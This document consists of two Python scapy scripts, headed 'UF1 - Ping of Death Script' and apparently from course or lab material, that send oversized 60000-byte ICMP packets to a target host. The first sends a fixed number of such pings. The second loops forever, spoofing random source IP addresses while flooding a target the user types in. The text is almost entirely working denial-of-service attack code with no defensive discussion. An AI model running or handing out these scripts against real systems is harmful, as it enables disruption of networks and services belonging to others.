UF1 - Ping of Death Script
#!/usr/bin/python
from scapy.all import *
# Change according with your IP addresses
SOURCE_IP="10.0.1.1"
TARGET_IP="10.0.1.5"
MESSAGE="T"
NUMBER_PACKETS=5 # Number of pings
pingOFDeath = IP(src=SOURCE_IP, dst=TARGET_IP)/ICMP()/(MESSAGE*60000)
send(NUMBER_PACKETS*pingOFDeath)
-------------------------------------------------------------------------------------------
from scapy.all import *
import random
def address_spoofer():
addr = [192, 168, 0 , 1]
d = '.'
addr[0] = str(random.randrange(11,197))
addr[1] = str(random.randrange(0,255))
addr[2] = str(random.randrange(0,255))
addr[3] = str(random.randrange(2,254))
assemebled = addr[0]+d+addr[1]+d+addr[2]+d+addr[3]
print assemebled
return assemebled
target = raw_input("Enter the target to attack: ")
while True:
rand_addr = address_spoofer()
ip_hdr = IP(src=rand_addr, dst=target)
packet = ip_hdr/ICMP()/("m"*60000) #send 60k bytes of junk
send(packet)